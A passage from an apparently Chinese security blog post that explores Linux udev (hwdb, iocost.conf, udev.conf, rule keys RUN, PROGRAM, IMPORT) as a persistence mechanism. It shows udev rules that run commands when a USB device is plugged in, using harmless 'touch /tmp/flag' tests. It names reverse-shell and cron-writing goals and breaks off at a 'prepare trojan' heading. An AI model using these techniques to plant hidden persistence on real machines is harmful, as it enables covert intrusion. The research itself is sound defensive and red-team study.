30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. hwdb</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">hwdb 是硬件属性数据库，将设备的硬件属性（如 USB 厂商/产品 ID、PCI 设备 ID 等）映射到自定义属性（如触摸板手势配置、键盘重复速率等）</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">默认 Ubuntu Desktop 24.04 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/udev/hwdb.d</span></code><span leaf=""> 是空的，我们去 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/lib/udev/hwdb.d</span></code><span leaf=""> 中进行查看</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019048" data-ratio="0.5435185185185185" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc1e8926&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJZoViaVINiazX0gDqeUiampwpAU7Rkn8whQ9oE7tp2oX7pngWicRibOmdqDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019053" class="rich_pages wxw-img" data-ratio="0.4842592592592593" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3f0a272e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJoz3TRoYNCBYvF9y5MNRiawiarkbvNDq1fdaf9oFVudhlQx5QLHRawzWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击者如果修改硬件属性数据库，可能会导致系统挂载硬件设备时错误识别等，想实现持久化的话，可能需要配合其他程序错误识别会导致一些额外bug</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以一般的攻击者是不会通过硬件属性数据库进行持久化的</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. iocost.conf</span><span style="display: none;"></span></h3><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://www.freedesktop.org/software/systemd/man/latest/iocost.conf.html" target="_blank">https://www.freedesktop.org/software/systemd/man/latest/iocost.conf.html</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">iocost.conf</span></code><span leaf=""> 是 udev 用于定义和管理设备 I/O 成本的配置文件。通过在这个文件中指定各类设备的 I/O 成本，系统能够在设备接入时自动调整 I/O 调度策略，以优化性能和资源分配</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019052" class="rich_pages wxw-img" data-ratio="0.6148148148148148" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=89070998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJDjicn9FBzLrg5JCPEkQlowyicic6qNUO2MflXiafibO5kuj9vXf7ho3zDPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">根据目前的文档来看，只能用来调节I/O 成本，无法创建文件，也无法执行外部程序，甚至官方文档也仅仅介绍了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">TargetSolution</span></code><span leaf=""> 这一个参数，我尝试了直接在其中写 shell 命令，并没有成功执行</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. udev.conf</span><span style="display: none;"></span></h3><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://man7.org/linux/man-pages/man5/udev.conf.5.html" target="_blank">https://man7.org/linux/man-pages/man5/udev.conf.5.html</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">udev.conf</span></code><span leaf=""> 是 udev 守护进程的主配置文件，用于设置 udev 的全局运行参数，而</span><strong style="font-weight: bold;color: black;"><span leaf="">不是</span></strong><span leaf="">用来定义具体的设备匹配或行为规则</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019050" data-ratio="0.3425925925925926" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=feae0144&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJglPMzeLKBzz03Jzp4jeibbm7B2ib8ITlnVZLeiaItV2Ueum3AxgmBPTZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面是可以设置的选项：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">udev_log=</span></strong><span leaf="">日志级别。有效值可以是数值形式的 syslog 优先级，或它们的文本描述：</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">err</span></code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">info</span></code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debug</span></code></section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">children_max=</span></strong><span leaf="">一个整数，表示并行执行的最大事件数。 如果未指定或指定为 0，最大并行数将基于系统资源自动确定。 此选项与命令行中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">--children-max=</span></code><span leaf=""> 相同</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">exec_delay=</span></strong><span leaf="">一个整数。为每个 </span><strong style="font-weight: bold;color: black;"><span leaf="">RUN{program}</span></strong><span leaf=""> 参数延迟执行指定的秒数。 此选项在调试因加载不可用内核模块导致的冷插拔启动崩溃时可能会很有用。 此选项与命令行中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">--exec-delay=</span></code><span leaf=""> 相同。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">event_timeout=</span></strong><span leaf="">一个整数，表示等待事件完成的秒数。 超过这个时间后，事件将被终止。默认值为 180 秒。 此选项与命令行中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">--event-timeout=</span></code><span leaf=""> 相同。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">resolve_names=</span></strong><span leaf="">指定 systemd-udevd 解析用户和组名的时机。</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">当设置为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">early</span></code><span leaf="">（默认）时，会在解析规则时进行名称解析；</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">设置为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">late</span></code><span leaf=""> 时，将对每个事件单独进行名称解析；</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">设置为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">never</span></code><span leaf=""> 时，则永不解析名称，此时所有设备都将归 root 所有。 此选项与命令行中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">--resolve-names=</span></code><span leaf=""> 相同。</span></section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">timeout_signal=</span></strong><span leaf="">指定当工作超时时 systemd-udevd 发送给工作线程的信号。 注意：无论是工作线程还是派生进程，都会使用此信号来终止。 默认信号为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SIGKILL</span></code><span leaf="">。</span></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从配置项来看，也就 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">timeout_signal</span></code><span leaf=""> 似乎还有点对外部造成影响的可能，但是用来做权限维持较为困难</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. 规则文件</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">根据之前的案例，我们了解到 RUN 这个键可以执行系统命令，接下来我们探究一下这些键还能做哪些有利于权限维持的操作，有哪些限制</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">RUN</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">执行外部程序或脚本（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">type</span></code><span leaf=""> 支持 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">program</span></code><span leaf=""> 或 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">builtin</span></code><span leaf="">）</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;usb&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0930&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;6545&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/touch /tmp/flag&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019049" data-ratio="0.2175925925925926" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7ae6be67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJrIKiaezb621ek0yQ8giafp98C5jVuOiaHFc2Tjq9oiaw8Pj7WoHbtTtKKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">PROGRAM</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">执行外部程序并捕获输出（通常与 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">RESULT</span></code><span leaf=""> 配合使用）</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;usb&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0930&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;6545&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, PROGRAM=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/bin/env bash -c &#39;/bin/touch /tmp/flag-program &amp;&amp; echo FLAG=touched&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019051" class="rich_pages wxw-img" data-ratio="0.17962962962962964" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c78ee68e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJFkAAvcbBN5RTgRichlTxsnRWcmvtP00OuwHKBjNwJusXnUM9vwxRBdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">IMPORT</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">导入外部数据（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">IMPORT{program}=&#34;/sbin/blkid -o udev -p $tempnode&#34;</span></code><span leaf="">）</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;usb&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0930&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;6545&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, IMPORT{program}=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/bin/env bash -c &#39;/bin/touch /tmp/flag-import &amp;&amp; echo FLAG=touched&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019056" class="rich_pages wxw-img" data-ratio="0.1388888888888889" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=dbfc31bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ7fNnouXaEITcibs9ia16KeqkxsUnbhko5IpWyIoBHetUcvTnWgBOn3CQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">ENV</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">ENV 设置的环境变量只是局部环境变量，在 udev 事件处理期间生效，不会共享到整个操作系统的全局环境中，所以只能做辅助</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019055" class="rich_pages wxw-img" data-ratio="0.21296296296296297" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=fd8ef751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJu0Cgc1TFry9hia7lp1GkPXWDIHzwgHibrjiaWcVJQRIXeFBGAu9pHNpRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019057" class="rich_pages wxw-img" data-ratio="0.20925925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1d77799b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJjt9WhN4MxrgzCpW00CZaBfiabIot6BkhDV5bNmcjZFZUCPiaCvOVoOKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5. 探索限制</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大背景是系统重启，想要达到的效果有两个，看看在这两个效果中是否存在限制</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">向任意文件内写入内容</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">反弹 shell 持久化控制</span></section></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">向任意文件写入内容</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以写入计划任务为例</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">准备木马</span><span style="display: none;"></span></h5><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019058" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ce6acf86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJF3Zb601iadL1XK5Jribm3JodbVSKA3b0crP80TcjLvBgJP8Ll59hdWOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h5 